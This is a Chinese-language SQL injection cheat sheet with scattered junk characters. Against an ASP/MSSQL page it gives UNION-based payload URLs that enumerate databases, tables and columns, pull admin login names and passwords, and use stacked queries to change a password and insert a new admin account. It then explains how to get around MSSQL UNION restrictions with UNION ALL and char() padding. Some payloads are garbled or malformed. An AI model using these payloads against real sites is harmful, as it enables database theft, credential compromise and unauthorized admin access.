爆库:
' ^0 o3 N$ p& x4 F1 ?+ V; {7 U, dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
0 ~( o( {$ W% L1 f! j! eSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
+ X" {" m/ C* T1 T x7 B爆下一个库:% d3 r% h* m7 n+ T& b; O& i
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--& S: h4 r4 Q/ _$ k2 }
$ W- x, `# n3 K: r2 _
爆表:% G7 y& b& M3 W) p" r
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
+ {' Q( I2 H3 }% w( }0 y) F; Q( l% H8 r/ e) X; B
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.# ^% s$ ?- T# t
( J; ] }' W" R, O2 e5 _
爆下一个表
+ c# I3 Q4 |4 v* Y$ zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--# o& O, }" V1 `6 g e
- G1 e/ |/ o' }! Qhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
0 i6 o. K" b% f* M
( l8 Z/ `/ C* [9 j4 J
5 r" F5 H7 }9 J& F
7 S& L q) \. b爆字段:3 B% u; B( E3 K9 D; O* |
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--; }4 E1 Y; n+ N$ d
5 g4 @" G* E6 [爆下一个字段
& j# w$ y* |# m; p% u3 l" Ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--* V4 Y: i( k8 A7 K) d: W0 z
" X4 Z v4 u- E I, x+ [4 Nhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--, j0 n0 }' C7 b
$ S3 J. s) H: `/ F, W
4 M' @$ @5 u2 _8 g爆字段里的内容7 g! `9 `$ k k
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
' O* \. _# K# n( \+ r, B2 w: f( w# x
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--7 I) X" S& `4 p6 |8 _% n# ?
: b! ?% K0 W7 q0 ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'-- I7 m2 y$ ]# b2 G8 p0 P6 }
1 n; m6 l, [0 J( I3 w2 m6 Phttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--9 \4 \4 `, V8 x; \6 a6 A2 a
8 b; }* Z7 u! a
更新字段里的内容6 E+ X4 i- R+ u; V
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
" I0 H" A1 Q! ]% R' P- I6 y0 `& f' ]4 c2 r& f
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--; ?* H4 ?3 V/ l+ I: X z0 L
! l" e1 R; D% k; T+ ]$ N; u
3 O5 C6 F0 t: P" J0 b( m4 q, v
5 ]* d9 b7 y. U9 U 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
v* p. j* U6 J0 }% f3 k 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。 p: j3 u# I" g8 p! h/ k
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
@7 N- d. e. y- G9 y- u 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。) \, e8 L6 r1 @1 G/ R3 N) k+ R1 `0 f# C: p
* o8 E, Q& Q3 b t( \' s
突了了大部份限制的语句3 k9 R% I: U: D! L$ s/ K* i4 z
and 1=2 union all select char(49),char(50),null,null;--3 d( p2 j$ N9 n8 _" h( Y2 V' f
0 r( e0 g. [+ D
) g* u! X5 d7 |4 w; Enull也可以正常执行,不过没有回显,不好判断回显的列数。
# y! L3 I6 s+ C: ?6 u4 w, A# @一般union遇到问题都是有text或者ntext字段,image的很少遇到3 E6 e' {' S- L7 D7 K; T. E; ~7 V
) V- o0 ?% c9 ~0 R$ w! ^
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟3 G' p" ?5 d8 {! |( X" B( q
8 F) g* E- |1 R6 z6 ?6 P, r' {) ]
, x; u$ S4 @& ]+ Y |